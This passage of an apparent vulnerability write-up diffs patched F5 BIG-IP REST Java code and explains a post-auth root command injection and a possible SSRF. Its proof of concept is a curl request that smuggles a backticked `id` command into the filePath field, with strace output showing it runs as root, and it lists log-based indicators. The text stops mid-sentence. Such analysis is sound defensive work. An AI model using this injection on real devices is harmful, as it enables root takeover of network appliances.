makePublicUri(LocalAuthLoginWorker.WORKER_URI_PATH));\n +\n +\n super.onStartCompleted(state, stateLoadEx, availabilityEx);\n }\n \n private void subscribeToAuthProviderGroup() throws Exception {\n RestRequestCompletion subscribeCompletion = new RestRequestCompletion()\n {\n public void failed(Exception ex, RestOperation operation)\n {\n AuthnWorker.this.getLogger().warningFmt(\"Failed to subscribe to auth providers: %s\", new Object[] { RestHelper.throwableStackToString(ex) });\n }\n \n \n \n public void completed(RestOperation operation) {\n AuthnWorker.this.getLogger().fine(\"Successfully subscribed to auth providers\");\n \n AuthzHelper.getAllAuthProviders(AuthnWorker.this.getServer(), new RestRequestCompletion()\n {\n \n public void failed(Exception ex, RestOperation operation)\n {\n AuthnWorker.this.getLogger().warningFmt(\"Failed to get all auth providers: %s\", new Object[] { RestHelper.throwableStackToString(ex) });\n }\n \n \n \n \n public void completed(RestOperation operation) {\n AuthnWorker.this.processAuthProviderGroupNotification(operation);\n }\n });\n }\n };\n \n \n RestRequestCompletion notificationCompletion = new RestRequestCompletion()\n {\n \n public void failed(Exception ex, RestOperation operation)\n {\n AuthnWorker.this.getLogger().severeFmt(\"Notification from auth providers failed: %s\", new Object[] { RestHelper.throwableStackToString(ex) });\n }\n \n \n \n \n public void completed(RestOperation operation) {\n AuthnWorker.this.processAuthProviderGroupNotification(operation);\n }\n };\n \n AuthzHelper.subscribeToAuthProviderGroup(getServer(), subscribeCompletion, notificationCompletion);\n }\n \n \n \n \n \n private void processAuthProviderGroupNotification(RestOperation operation) {\n RestResolverGroupEntry entry = (RestResolverGroupEntry)operation.getTypedBody(RestResolverGroupEntry.class);\n \n \n if (entry.references != null) {\n for (RestReference ref : entry.references) {\n if (operation.getMethod().equals(RestOperation.RestMethod.DELETE)) {\n unsubscribe(ref.link); continue;\n }\n subscribeToAuthProvider(ref.link);\n }\n }\n }\n \n \n \n private void lookupAuthProviderCollection(URI authProviderLink) {\n this.lookupAuthRetryCountReferenceMap.put(authProviderLink, new AtomicInteger(0));\n lookupAuthProviderCollectionRetry(authProviderLink);\n }\n \n \n private void lookupAuthProviderCollectionRetry(final URI authProviderLink) {\n RestRequestCompletion completion = new RestRequestCompletion()\n {\n public void failed(Exception ex, RestOperation operation)\n {\n if (((AtomicInteger)AuthnWorker.this.lookupAuthRetryCountReferenceMap.get(authProviderLink)).intValue() > 10) {\n AuthnWorker.this.getLogger().severeFmt(\"Max retries; failed to lookup auth provider %s: %s\", new Object[] { this.val$authProviderLink.toString(), RestHelper.throwableStackToString(ex) });\n \n return;\n }\n \n AuthnWorker.this.getLogger().warningFmt(\"Failed to lookup auth provider %s: Retry number %s\", new Object[] { this.val$authProviderLink.toString(), Integer.valueOf(((AtomicInteger)AuthnWorker.access$100(this.this$0).get(this.val$authProviderLink)).intValue()) });\n \n \n AuthnWorker.this.scheduleTaskOnce(new Runnable()\n {\n public void run() {\n ((AtomicInteger)AuthnWorker.this.lookupAuthRetryCountReferenceMap.get(authProviderLink)).incrementAndGet();\n AuthnWorker.this.lookupAuthProviderCollectionRetry(authProviderLink);\n }\n }, AuthnWorker.this.LOOKUP_AUTH_MAX_WAIT_MILLIS);\n }\n \n \n public void completed(RestOperation operation) {\n AuthProviderCollectionState collectionState = (AuthProviderCollectionState)operation.getTypedBody(AuthProviderCollectionState.class);\n \n \n for (AuthProviderState item : collectionState.items) {\n AuthnWorker.this.addAuthProvider(item);\n }\n AuthnWorker.this.lookupAuthRetryCountReferenceMap.remove(authProviderLink);\n }\n };\n \n RestOperation op = RestOperation.create().setUri(makeLocalUri(authProviderLink)).setCompletion(completion);\n \n sendGet(op);\n }\n \n \n private void unsubscribe(URI providerCollectionLink) {\n URI notificationWorkerUri = this.subscriptions.get(providerCollectionLink);\n \n if (notificationWorkerUri == null) {\n return;\n }\n \n RestOperation subscribeRequest = RestOperation.create().setUri(makeLocalUri(providerCollectionLink));\n \n try {\n sendDeleteForSubscription(subscribeRequest, notificationWorkerUri);\n } catch (Exception e) {\n getLogger().fineFmt(\"Failed to unsubscribe to %s: %s\", new Object[] { providerCollectionLink.getPath(), RestHelper.throwableStackToString(e) });\n }\n }\n \n \n private void subscribeToAuthProvider(final URI providerCollectionLink) {\n RestRequestCompletion notificationCompletion = new RestRequestCompletion()\n {\n public void completed(RestOperation operation)\n {\n AuthProviderState state = (AuthProviderState)operation.getTypedBody(AuthProviderState.class);\n \n if (operation.getMethod().equals(RestOperation.RestMethod.DELETE)) {\n AuthnWorker.this.removeAuthProvider(state);\n } else {\n AuthnWorker.this.addAuthProvider(state);\n }\n }\n \n \n \n public void failed(Exception ex, RestOperation operation) {\n AuthnWorker.this.getLogger().severeFmt(\"%s\", new Object[] { ex.getMessage() });\n }\n };\n \n \n RestRequestCompletion subscribeCompletion = new RestRequestCompletion()\n {\n public void failed(Exception ex, RestOperation operation)\n {\n AuthnWorker.this.getLogger().severeFmt(\"Failed to subscribe to auth provider %s: %s\", new Object[] { this.val$providerCollectionLink.getPath(), RestHelper.throwableStackToString(ex) });\n }\n \n \n \n \n public void completed(RestOperation operation) {\n AuthnWorker.this.getLogger().fine(\"Successfully subscribed to auth provider.\");\n AuthnWorker.this.lookupAuthProviderCollection(providerCollectionLink);\n }\n };\n \n \n RestOperation subscribeRequest = RestOperation.create().setUri(makeLocalUri(providerCollectionLink)).setCompletion(subscribeCompletion);\n \n try {\n URI notificationUri = sendPostForSubscription(subscribeRequest, getServer(), notificationCompletion);\n \n this.subscriptions.put(providerCollectionLink, notificationUri);\n } catch (Exception e) {\n getLogger().severeFmt(\"Error while subscribing to %s: %s\", new Object[] { providerCollectionLink.getPath(), RestHelper.throwableStackToString(e) });\n }\n }\n \n \n \n \n private void addAuthProvider(AuthProviderState state) {\n getLogger().fineFmt(\"Added a new auth provider [%s] at [%s].\", new Object[] { state.name, state.loginReference.link });\n \n this.loginNameToReferenceMap.put(state.name, state.loginReference);\n }\n \n private void removeAuthProvider(AuthProviderState state) {\n getLogger().fineFmt(\"Removed an auth provider %s.\", new Object[] { state.name });\n this.loginNameToReferenceMap.remove(state.name);\n }\n \n \n protected void onPost(final RestOperation request) {\n final String incomingAddress = request.getRemoteSender();\n \n final AuthnWorkerState state = (AuthnWorkerState)request.getTypedBody(AuthnWorkerState.class);\n AuthProviderLoginState loginState = (AuthProviderLoginState)request.getTypedBody(AuthProviderLoginState.class);\n \n \n - if (state.password == null && state.bigipAuthCookie == null) {\n + if (Utilities.isNullOrEmpty(state.password) && Utilities.isNullOrEmpty(state.bigipAuthCookie)) {\n state.bigipAuthCookie = request.getCookie(\"BIGIPAuthCookie\");\n loginState.bigipAuthCookie = state.bigipAuthCookie;\n }\n \n if (incomingAddress != null && incomingAddress != \"Unknown\") {\n loginState.address = incomingAddress;\n }\n \n - if ((state.username == null || state.password == null) && state.bigipAuthCookie == null) {\n + if ((Utilities.isNullOrEmpty(state.username) || Utilities.isNullOrEmpty(state.password)) && Utilities.isNullOrEmpty(state.bigipAuthCookie)) {\n +\n request.setStatusCode(401);\n String msg = String.format(\"username and password must not be null or %s in Cookie header should be used.\", new Object[] { \"BIGIPAuthCookie\" });\n \n request.fail(new SecurityException(msg));\n \n +\n return;\n }\n \n + boolean isAllowedLinks = false;\n +\n +\n +\n +\n +\n +\n +\n + if (state.loginReference != null && state.loginReference.link != null) {\n +\n + for (URI iter : this.subscriptions.keySet()) {\n + if (state.loginReference.link.getPath().equals(iter.getPath())) {\n + isAllowedLinks = true;\n + break;\n + }\n + }\n + if (!isAllowedLinks) {\n + getLogger().severe(\"No login provider found.\");\n + String msg = String.format(\"No login provider found.\", new Object[0]);\n + request.fail(new SecurityException(msg));\n +\n + return;\n + }\n + }\n +\n state.password = null;\n request.setBody(state);\n \n \n \n if (state.loginReference == null) {\n if (state.loginProviderName == null) {\n ExecutorService executorService = Executors.newSingleThreadExecutor();\n Callable<String> callable = new Callable<String>()\n {\n public String call() throws Exception {\n final String[] providerName = { null };\n RestRequestCompletion getAuthSourceTypeCompletion = new RestRequestCompletion()\n {\n public void completed(RestOperation response) {\n AuthSourceState sourceState = (AuthSourceState)response.getTypedBody(AuthSourceState.class);\n if (\"local\".equals(sourceState.type)) {\n providerName[0] = \"local\";\n } else {\n providerName[0] = \"tmos\";\n }\n }\n \n \n public void failed(Exception ex, RestOperation response) {\n request.fail(ex);\n }\n };\n \n AuthzHelper.getAuthSource(AuthnWorker.this.getServer(), getAuthSourceTypeCompletion);\n try {\n int remainingSleepTime = 800, numberOfAttempts = 0;\n int multiplier = 1; numberOfAttempts = 1;\n for (; providerName[0] == null;\n multiplier *= 2, numberOfAttempts++) {\n \n TimeUnit.MILLISECONDS.sleep((10 * multiplier));\n remainingSleepTime -= 10 * multiplier;\n if (providerName[0] != null || numberOfAttempts == 5) {\n break;\n }\n }\n \n while (providerName[0] == null) {\n TimeUnit.MILLISECONDS.sleep(50L);\n remainingSleepTime -= 50;\n }\n AuthnWorker.this.getLogger().fine(\"Total Time taken to set the loginProviderName is \" + (800 - remainingSleepTime) + \"ms\");\n } catch (InterruptedException e) {\n AuthnWorker.this.getLogger().severe(\"Error while setting value to loginProviderName when no loginReference and no loginProviderName were given\");\n }\n return providerName[0];\n }\n };\n \n Future<String> future = executorService.submit(callable);\n try {\n state.loginProviderName = future.get(800L, TimeUnit.MILLISECONDS);\n executorService.shutdown();\n } catch (TimeoutException e) {\n getLogger().severe(\"Maximum wait time(800ms) exceeded while getting value of loginProviderName\");\n future.cancel(true);\n if (!executorService.isShutdown()) {\n executorService.shutdown();\n }\n } catch (CancellationException|java.util.concurrent.ExecutionException|InterruptedException e) {\n getLogger().severe(\"Error while getting value of loginProviderName:\" + RestHelper.throwableStackToString(e));\n if (!executorService.isShutdown()) {\n executorService.shutdown();\n }\n }\n getLogger().fineFmt(\"loginProviderName set to %s as default value, based on authentication source type when it was null\", new Object[] { state.loginProviderName });\n }\n \n if (state.loginProviderName != null) {\n if (state.loginProviderName.equals(\"local\")) {\n state.loginReference = new RestReference(makePublicUri(LocalAuthLoginWorker.WORKER_URI_PATH));\n }\n else if (this.loginNameToReferenceMap.containsKey(state.loginProviderName)) {\n state.loginReference = this.loginNameToReferenceMap.get(state.loginProviderName);\n } else {\n request.fail(new IllegalArgumentException(\"loginProviderName is invalid.\"));\n return;\n }\n } else {\n request.fail(new IllegalArgumentException(\"loginProviderName is null.\"));\n \n \n return;\n }\n }\n \n final String failureKey = String.format(\"%s:%s\", new Object[] { (state.username == null) ? state.bigipAuthCookie : state.username, state.loginReference.link });\n \n \n \n LoginFailures failures = this.loginFailureMap.get(failureKey);\n \n if (failures != null && failures.failures >= 5) {\n if (RestHelper.getNowMicrosUtc() - failures.lastFailureMicros < FAILED_ATTEMPTS_TIMEOUT) {\n request.setStatusCode(401);\n request.fail(new SecurityException(\"Maximum number of login attempts exceeded.\"));\n return;\n }\n this.loginFailureMap.remove(failureKey);\n }\n \n \n RestRequestCompletion authCompletion = new RestRequestCompletion()\n {\n \n public void failed(Exception ex, RestOperation operation)\n {\n String loginProviderId = (state.loginProviderName == null) ? state.loginReference.link.toString() : state.loginProviderName;\n \n \n String clientId = (state.username == null) ? (\"Cookie \" + state.bigipAuthCookie) : (\"User \" + state.username);\n \n AuthnWorker.this.getLogger().infoFmt(\"%s failed to login from %s using the %s authentication provider\", new Object[] { clientId, this.val$incomingAddress, loginProviderId });\n \n \n AuthnWorker.LoginFailures failures = (AuthnWorker.LoginFailures)AuthnWorker.this.loginFailureMap.get(failureKey);\n if (failures == null) {\n failures = new AuthnWorker.LoginFailures();\n AuthnWorker.this.loginFailureMap.put(failureKey, failures);\n }\n failures.lastFailureMicros = RestHelper.getNowMicrosUtc();\n failures.failures++;\n \n request.setStatusCode(401);\n \n if (ex.getMessage() == null || ex.getMessage().isEmpty()) {\n request.fail(ex, RestErrorResponse.create().setMessage(\"Unable to login using supplied information. If you are attempting to login with a configured authentication provider it may be unavailable or no longer exist.\"));\n return;\n }\n request.fail(ex);\n }\n \n \n \n \n \n public void completed(RestOperation operation) {\n AuthnWorker.this.loginFailureMap.remove(failureKey);\n \n AuthProviderLoginState loggedIn = (AuthProviderLoginState)operation.getTypedBody(AuthProviderLoginState.class);\n \n \n String authProviderId = loggedIn.authProviderName;\n if (authProviderId == null) {\n authProviderId = (state.loginProviderName == null) ? state.loginReference.link.toString() : state.loginProviderName;\n }\n \n \n AuthnWorker.this.getLogger().finestFmt(\"User %s successfully logged in from %s using the %s authentication provider.\", new Object[] { loggedIn.username, this.val$incomingAddress, authProviderId });\n \n \n \n \n AuthnWorker.generateToken(AuthnWorker.this.getServer(), request, state, loggedIn);\n }\n };\n \n RestOperation checkAuth = RestOperation.create().setBody(loginState).setUri(makeLocalUri(state.loginReference.link)).setCompletion(authCompletion);\n \n \n sendPost(checkAuth);\n }\n \n \n \n \n \n \n \n public static void generateToken(RestServer server, final RestOperation request, final AuthnWorkerState authState, AuthProviderLoginState loginState) {\n if (authState.needsToken != null && !authState.needsToken.booleanValue()) {\n request.setBody(authState);\n request.complete();\n \n return;\n }\n AuthTokenItemState token = new AuthTokenItemState();\n token.userName = loginState.username;\n token.user = loginState.userReference;\n token.groupReferences = loginState.groupReferences;\n token.authProviderName = loginState.authProviderName;\n token.address = request.getXForwarderdFor();\n \n RestRequestCompletion tokenCompletion = new RestRequestCompletion()\n {\n public void failed(Exception ex, RestOperation operation)\n {\n request.fail(ex);\n }\n \n \n \n public void completed(RestOperation operation) {\n AuthTokenItemState token = (AuthTokenItemState)operation.getTypedBody(AuthTokenItemState.class);\n authState.token = token;\n request.setBody(authState);\n request.complete();\n }\n };\n \n \n RestOperation createToken = RestOperation.create().setUri(UrlHelper.buildLocalUriSafe(server, new String[] { WellKnownPorts.AUTHZ_TOKEN_WORKER_URI_PATH })).setBody(token).setCompletion(tokenCompletion).setReferer(\"authn-generate-token\");\n \n \n \n \n \n RestRequestSender.sendPost(createToken);\n }\n }\n diff --git a/com/f5/rest/workers/liveupdate/LiveUpdateDownloadWorker.java b/com/f5/rest/workers/liveupdate/LiveUpdateDownloadWorker.java\n index 5e33f0d..caba75d 100644\n --- a/com/f5/rest/workers/liveupdate/LiveUpdateDownloadWorker.java\n +++ b/com/f5/rest/workers/liveupdate/LiveUpdateDownloadWorker.java\n @@ -1,17 +1,18 @@\n package com.f5.rest.workers.liveupdate;\n \n import com.f5.rest.common.RestWorker;\n -import com.f5.rest.workers.FileTransferWorker;\n +import com.f5.rest.workers.FileTransferPrivateWorker;\n \n -public class LiveUpdateDownloadWorker extends LiveUpdateFileTransferWorker {\n +public class LiveUpdateDownloadWorker\n + extends LiveUpdateFileTransferWorker {\n private String getDirectory;\n \n public LiveUpdateDownloadWorker(String paramString1, String paramString2) {\n super(paramString1);\n this.getDirectory = paramString2;\n }\n \n protected RestWorker getRestWorker() throws Exception {\n - return (RestWorker)new FileTransferWorker(this.getDirectory);\n + return (RestWorker)new FileTransferPrivateWorker(this.getDirectory);\n }\n }\n diff --git a/com/f5/rest/workers/liveupdate/LiveUpdateUploadWorker.java b/com/f5/rest/workers/liveupdate/LiveUpdateUploadWorker.java\n index 03cddd7..d46ac00 100644\n --- a/com/f5/rest/workers/liveupdate/LiveUpdateUploadWorker.java\n +++ b/com/f5/rest/workers/liveupdate/LiveUpdateUploadWorker.java\n @@ -1,59 +1,60 @@\n package com.f5.rest.workers.liveupdate;\n \n import com.f5.rest.common.RestOperation;\n import com.f5.rest.common.RestWorker;\n -import com.f5.rest.workers.FileTransferWorker;\n +import com.f5.rest.workers.FileTransferPrivateWorker;\n import java.io.File;\n import java.nio.file.Files;\n import java.nio.file.LinkOption;\n import java.nio.file.Path;\n import java.nio.file.Paths;\n import java.nio.file.attribute.GroupPrincipal;\n import java.nio.file.attribute.PosixFileAttributeView;\n import java.nio.file.attribute.PosixFileAttributes;\n import java.nio.file.attribute.UserPrincipal;\n import java.util.List;\n \n public class LiveUpdateUploadWorker\n - extends LiveUpdateFileTransferWorker {\n + extends LiveUpdateFileTransferWorker\n +{\n private String postDirectory;\n private String tmpDirectory;\n \n public LiveUpdateUploadWorker(String paramString1, String paramString2, String paramString3) {\n super(paramString1);\n this.postDirectory = paramString2;\n this.tmpDirectory = paramString3;\n }\n \n protected void onRequestComplete(RestOperation paramRestOperation) {\n List list = paramRestOperation.getParsedCollectionEntries();\n if (list != null && !list.isEmpty()) {\n String str = \"/var/lib/hsqldb/live-update/update-files/\" + ((RestOperation.ParsedCollectionEntry)list.get(0)).entryKey;\n File file = new File(str);\n if (file.exists()) {\n \n try {\n File file1 = new File(\"/var/lib/hsqldb/live-update/update-files\");\n PosixFileAttributes posixFileAttributes = Files.<PosixFileAttributes>readAttributes(file1.toPath(), PosixFileAttributes.class, new LinkOption[] { LinkOption.NOFOLLOW_LINKS });\n GroupPrincipal groupPrincipal = posixFileAttributes.group();\n UserPrincipal userPrincipal = posixFileAttributes.owner();\n \n PosixFileAttributeView posixFileAttributeView = Files.<PosixFileAttributeView>getFileAttributeView(file.toPath(), PosixFileAttributeView.class, new LinkOption[] { LinkOption.NOFOLLOW_LINKS });\n posixFileAttributeView.setGroup(groupPrincipal);\n \n Path path = Paths.get(str, new String[0]);\n Files.setOwner(path, userPrincipal);\n \n file.setReadable(true, false);\n } catch (Exception exception) {}\n }\n }\n }\n \n \n protected RestWorker getRestWorker() throws Exception {\n - FileTransferWorker fileTransferWorker = new FileTransferWorker(this.postDirectory, this.tmpDirectory);\n - fileTransferWorker.setPostFileGrooming(false);\n - return (RestWorker)fileTransferWorker;\n + FileTransferPrivateWorker fileTransferPrivateWorker = new FileTransferPrivateWorker(this.postDirectory, this.tmpDirectory);\n + fileTransferPrivateWorker.setPostFileGrooming(false);\n + return (RestWorker)fileTransferPrivateWorker;\n }\n }\n \n\n## RCE\n\nThis is a post-auth root command injection in a `tar(1)` command.\n\n### Patch\n\nFiltering is applied to the user-controlled `taskState.filePath` parameter.\n \n \n [snip]\n + private static final Pattern validFilePathChars = Pattern.compile(\"(^[a-zA-Z][a-zA-Z0-9_.\\\\-\\\\s()]*)\\\\.([tT][aA][rR]\\\\.[gG][zZ])$\");\n [snip]\n private void validateGzipBundle(final IAppBundleInstallTaskState taskState) {\n if (Utilities.isNullOrEmpty(taskState.filePath)) {\n File agcUseCasePackDir = new File(\"/var/apm/f5-iappslx-agc-usecase-pack/\");\n if (!agcUseCasePackDir.exists() || !agcUseCasePackDir.isDirectory()) {\n String error = \"Access Guided Configuration use case pack not found on BIG-IP. Please upload and install the pack.\";\n failTask(taskState, error, \"\");\n return;\n }\n File[] agcUseCasePack = agcUseCasePackDir.listFiles();\n if (agcUseCasePack == null || agcUseCasePack.length == 0 || !agcUseCasePack[0].isFile()) {\n \n String error = \"Access Guided Configuration use case pack not found on BIG-IP. Please upload and install the pack.\";\n failTask(taskState, error, \"\");\n return;\n }\n taskState.filePath = agcUseCasePack[0].getPath();\n }\n \n + String filename = taskState.filePath.substring(taskState.filePath.lastIndexOf('/') + 1);\n + Matcher m = validFilePathChars.matcher(filename);\n + if (!m.matches()) {\n + String errorMessage = String.format(\"Access Guided Configuration use case pack validation failed: the file name %s must begin with alphabet, and only contain letters, numbers, spaces and/or special characters (underscore (_), period (.), hyphen (-) and round brackets ()). Only a .tar.gz file is allowed\", new Object[] { filename });\n +\n +\n +\n + failTask(taskState, errorMessage, \"\");\n +\n + return;\n + }\n final String extractTarCommand = \"tar -xf \" + taskState.filePath + \" -O > /dev/null\";\n \n \n ShellExecutor extractTar = new ShellExecutor(extractTarCommand);\n \n CompletionHandler<ShellExecutionResult> executionFinishedHandler = new CompletionHandler<ShellExecutionResult>()\n {\n public void completed(ShellExecutionResult extractQueryResult)\n {\n if (extractQueryResult.getExitStatus().intValue() != 0) {\n String error = extractTarCommand + \" failed with exit code=\" + extractQueryResult.getExitStatus();\n \n \n IAppBundleInstallTaskCollectionWorker.this.failTask(taskState, \"Usecase pack validation failed. Please ensure that usecase pack is a valid tar archive.\", error + \"stdout + stderr=\" + extractQueryResult.getOutput());\n \n \n return;\n }\n \n \n taskState.step = IAppBundleInstallTaskState.IAppBundleInstallStep.QUERY_INSTALLED_RPM;\n IAppBundleInstallTaskCollectionWorker.this.sendStatusUpdate(taskState);\n }\n \n \n public void failed(Exception ex, ShellExecutionResult rpmQueryResult) {\n IAppBundleInstallTaskCollectionWorker.this.failTask(taskState, \"Usecase pack validation failed. Please ensure that usecase pack is a valid tar archive.\", String.format(\"%s failed\", new Object[] { this.val$extractTarCommand }) + RestHelper.throwableStackToString(ex));\n }\n };\n \n \n \n extractTar.startExecution(executionFinishedHandler);\n }\n [snip]\n \n\n### PoC\n\nThe affected endpoint is `/mgmt/tm/access/bundle-install-tasks`.\n \n \n wvu@kharak:~$ curl -ksu admin:[redacted] https://192.168.123.134/mgmt/tm/access/bundle-install-tasks -d '{\"filePath\":\"`id`\"}' | jq .\n {\n \"filePath\": \"`id`\",\n \"toBeInstalledAppRpmsIndex\": -1,\n \"id\": \"36671f83-d1be-4f5a-a2e6-7f9442a2a76f\",\n \"status\": \"CREATED\",\n \"userReference\": {\n \"link\": \"https://localhost/mgmt/shared/authz/users/admin\"\n },\n \"identityReferences\": [\n {\n \"link\": \"https://localhost/mgmt/shared/authz/users/admin\"\n }\n ],\n \"ownerMachineId\": \"ac2562f0-e41f-4652-ba35-6a2b804b235e\",\n \"generation\": 1,\n \"lastUpdateMicros\": 1615930477819656,\n \"kind\": \"tm:access:bundle-install-tasks:iappbundleinstalltaskstate\",\n \"selfLink\": \"https://localhost/mgmt/tm/access/bundle-install-tasks/36671f83-d1be-4f5a-a2e6-7f9442a2a76f\"\n }\n wvu@kharak:~$\n \n\nThe `id(1)` command is executed as root.\n \n \n [pid 64748] execve(\"/bin/tar\", [\"tar\", \"-xf\", \"uid=0(root)\", \"gid=0(root)\", \"groups=0(root)\", \"context=system_u:system_r:initrc_t:s0\", \"-O\"], [/* 9 vars */]) = 0\n \n\n### IOCs\n\nAn error may be seen in `/var/log/restjavad.0.log`. This log file is rotated.\n \n \n [SEVERE][10029][16 Mar 2021 21:34:37 UTC][8100/tm/access/bundle-install-tasks IAppBundleInstallTaskCollectionWorker] Usecase pack validation failed. Please ensure that usecase pack is a valid tar archive. error details: tar -xf `id` -O > /dev/null failedorg.apache.commons.exec.ExecuteException: Process exited with an error: 2 (Exit value: 2)\n \tat org.apache.commons.exec.DefaultExecutor.executeInternal(DefaultExecutor.java:404)\n \tat org.apache.commons.exec.DefaultExecutor.access$200(DefaultExecutor.java:48)\n \tat org.apache.commons.exec.DefaultExecutor$1.run(DefaultExecutor.java:200)\n \tat java.lang.Thread.run(Thread.java:748)\n \n\n## SSRF?\n\nApache on port 443 talks to `restjavad` on port 8100, which spawns and talks to `/usr/bin/icrd_child` on an ephemeral port.\n\n### Patch\n\nValidation is applied to the user-controlled `state.loginReference.link` parameter.\n \n \n [snip]\n protected void onPost(final RestOperation request) {\n final String incomingAddress = request.getRemoteSender();\n \n final AuthnWorkerState state = (AuthnWorkerState)request.getTypedBody(AuthnWorkerState.class);\n AuthProviderLoginState loginState = (AuthProviderLoginState)request.getTypedBody(AuthProviderLoginState.class);\n \n \n - if (state.password == null && state.bigipAuthCookie == null) {\n + if (Utilities.isNullOrEmpty(state.password) && Utilities.isNullOrEmpty(state.bigipAuthCookie)) {\n state.bigipAuthCookie = request.getCookie(\"BIGIPAuthCookie\");\n loginState.bigipAuthCookie = state.bigipAuthCookie;\n }\n \n if (incomingAddress != null && incomingAddress != \"Unknown\") {\n loginState.address = incomingAddress;\n }\n \n - if ((state.username == null || state.password == null) && state.bigipAuthCookie == null) {\n + if ((Utilities.isNullOrEmpty(state.username) || Utilities.isNullOrEmpty(state.password)) && Utilities.isNullOrEmpty(state.bigipAuthCookie)) {\n +\n request.setStatusCode(401);\n String msg = String.format(\"username and password must not be null or %s in Cookie header should be used.\", new Object[] { \"BIGIPAuthCookie\" });\n \n request.fail(new SecurityException(msg));\n \n +\n return;\n }\n \n + boolean isAllowedLinks = false;\n +\n +\n +\n +\n +\n +\n +\n + if (state.loginReference != null && state.loginReference.link != null) {\n +\n + for (URI iter : this.subscriptions.keySet()) {\n + if (state.loginReference.link.getPath().equals(iter.getPath())) {\n + isAllowedLinks = true;\n + break;\n + }\n + }\n + if (!isAllowedLinks) {\n + getLogger().severe(\"No login provider found.\");\n + String msg = String.format(\"No login provider found.\", new Object[0]);\n + request.fail(new SecurityException(msg));\n +\n + return;\n + }\n + }\n +\n state.password = null;\n request.setBody(state);\n \n \n \n if (state.loginReference == null) {\n if (state.loginProviderName == null) {\n ExecutorService executorService = Executors.newSingleThreadExecutor();\n Callable<String> callable = new Callable<String>()\n {\n public String call() throws Exception {\n final String[] providerName = { null };\n RestRequestCompletion getAuthSourceTypeCompletion = new RestRequestCompletion()\n {\n public void completed(RestOperation response) {\n AuthSourceState sourceState = (AuthSourceState)response.getTypedBody(AuthSourceState.class);\n if (\"local\".equals(sourceState.type)) {\n providerName[0] = \"local\";\n } else {\n providerName[0] = \"tmos\";\n }\n }\n \n \n public void failed(Exception ex, RestOperation response) {\n request.fail(ex);\n }\n };\n \n AuthzHelper.getAuthSource(AuthnWorker.this.getServer(), getAuthSourceTypeCompletion);\n try {\n int remainingSleepTime = 800, numberOfAttempts = 0;\n int multiplier = 1; numberOfAttempts = 1;\n for (; providerName[0] == null;\n multiplier *= 2, numberOfAttempts++) {\n \n TimeUnit.MILLISECONDS.sleep((10 * multiplier));\n remainingSleepTime -= 10 * multiplier;\n if (providerName[0] != null || numberOfAttempts == 5) {\n break;\n }\n }\n \n while (providerName[0] == null) {\n TimeUnit.MILLISECONDS.sleep(50L);\n remainingSleepTime -= 50;\n }\n AuthnWorker.this.getLogger().fine(\"Total Time taken to set the loginProviderName is \" + (800 - remainingSleepTime) + \"ms\");\n } catch (InterruptedException e) {\n AuthnWorker.this.getLogger().severe(\"Error while setting value to loginProviderName when no loginReference and no loginProviderName were given\");\n }\n return providerName[0];\n }\n };\n \n Future<String> future = executorService.submit(callable);\n try {\n state.loginProviderName = future.get(800L, TimeUnit.MILLISECONDS);\n executorService.shutdown();\n } catch (TimeoutException e) {\n getLogger().severe(\"Maximum wait time(800ms) exceeded while getting value of loginProviderName\");\n future.cancel(true);\n if (!executorService.isShutdown()) {\n executorService.shutdown();\n }\n } catch (CancellationException|java.util.concurrent.ExecutionException|InterruptedException e) {\n getLogger().severe(\"Error while getting value of loginProviderName:\" + RestHelper.throwableStackToString(e));\n if (!executorService.isShutdown()) {\n executorService.shutdown();\n }\n }\n getLogger().fineFmt(\"loginProviderName set to %s as default value, based on authentication source type when it was null\", new Object[] { state.loginProviderName });\n }\n \n if (state.loginProviderName != null) {\n if (state.loginProviderName.equals(\"local\")) {\n state.loginReference = new RestReference(makePublicUri(LocalAuthLoginWorker.WORKER_URI_PATH));\n }\n else if (this.loginNameToReferenceMap.containsKey(state.loginProviderName)) {\n state.loginReference = this.loginNameToReferenceMap.get(state.loginProviderName);\n } else {\n request.fail(new IllegalArgumentException(\"loginProviderName is invalid.\"));\n return;\n }\n } else {\n request.fail(new IllegalArgumentException(\"loginProviderName is null.\"));\n \n \n return;\n }\n }\n \n final String failureKey = String.format(\"%s:%s\", new Object[] { (state.username == null) ? state.bigipAuthCookie : state.username, state.loginReference.link });\n \n \n \n LoginFailures failures = this.loginFailureMap.get(failureKey);\n \n if (failures != null && failures.failures >= 5) {\n if (RestHelper.getNowMicrosUtc() - failures.lastFailureMicros < FAILED_ATTEMPTS_TIMEOUT) {\n request.setStatusCode(401);\n request.fail(new SecurityException(\"Maximum number of login attempts exceeded.\"));\n return;\n }\n this.loginFailureMap.remove(failureKey);\n }\n \n \n RestRequestCompletion authCompletion = new RestRequestCompletion()\n {\n \n public void failed(Exception ex, RestOperation operation)\n {\n String loginProviderId = (state.loginProviderName == null) ? state.loginReference.link.toString() : state.loginProviderName;\n \n \n String clientId = (state.username == null) ? (\"Cookie \" + state.bigipAuthCookie) : (\"User \" + state.username);\n \n AuthnWorker.this.getLogger().infoFmt(\"%s failed to login from %s using the %s authentication provider\", new Object[] { clientId, this.val$incomingAddress, loginProviderId });\n \n \n AuthnWorker.LoginFailures failures = (AuthnWorker.LoginFailures)AuthnWorker.this.loginFailureMap.get(failureKey);\n if (failures == null) {\n failures = new AuthnWorker.LoginFailures();\n AuthnWorker.this.loginFailureMap.put(failureKey, failures);\n }\n failures.lastFailureMicros = RestHelper.getNowMicrosUtc();\n failures.failures++;\n \n request.setStatusCode(401);\n \n if (ex.getMessage() == null || ex.getMessage().isEmpty()) {\n request.fail(ex, RestErrorResponse.create().setMessage(\"Unable to login using supplied information. If you are attempting to login with a configured authentication provider it may be unavailable or no longer exist.\"));\n return;\n }\n request.fail(ex);\n }\n \n \n \n \n \n public void completed(RestOperation operation) {\n AuthnWorker.this.loginFailureMap.remove(failureKey);\n \n AuthProviderLoginState loggedIn = (AuthProviderLoginState)operation.getTypedBody(AuthProviderLoginState.class);\n \n \n String authProviderId = loggedIn.authProviderName;\n if (authProviderId == null) {\n authProviderId = (state.loginProviderName == null) ? state.loginReference.link.toString() : state.loginProviderName;\n }\n \n \n AuthnWorker.this.getLogger().finestFmt(\"User %s successfully logged in from %s using the %s authentication provider.\", new Object[] { loggedIn.username, this.val$incomingAddress, authProviderId });\n \n \n \n \n AuthnWorker.generateToken(AuthnWorker.this.getServer(), request, state, loggedIn);\n }\n };\n \n RestOperation checkAuth = RestOperation.create().setBody(loginState).setUri(makeLocalUri(state.loginReference.link)).setCompletion(authCompletion);\n \n \n sendPost(checkAuth);\n }\n [snip]\n \n\nAlso interesting is the defensive programming added to basic auth. I tested this first for auth bypass but wasn\u2019t successful. It is by no means a dead end, since I haven\u2019t actually analyzed 